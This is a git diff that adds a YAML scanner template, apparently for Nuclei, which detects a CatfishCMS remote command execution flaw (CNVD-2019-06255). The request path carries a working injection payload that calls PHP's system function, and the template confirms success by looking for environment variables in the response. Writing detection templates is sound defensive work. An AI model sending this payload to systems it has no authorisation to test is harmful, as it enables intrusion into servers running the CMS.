diff --git a/cnvd/CNVD-2019-06255.yaml b/cnvd/CNVD-2019-06255.yaml
new file mode 100644
index 0000000000..9cebd8d7b0
--- /dev/null
+++ b/cnvd/CNVD-2019-06255.yaml
@@ -0,0 +1,27 @@
+id: CNVD-2019-06255
+
+info:
+  name: CatfishCMS RCE
+  author: Lark-Lab
+  severity: medium
+  reference: http://112.124.31.29/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-CMS%E6%BC%8F%E6%B4%9E/CatfishCMS/CNVD-2019-06255%20CatfishCMS%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
+  tags: rce,cvnd,catfishcms
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/s=set&_method=__construct&method=*&filter[]=system"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        condition: and
+        words:
+          - 'OS'
+          - 'PATH'
+          - 'SHELL'
+          - 'USER'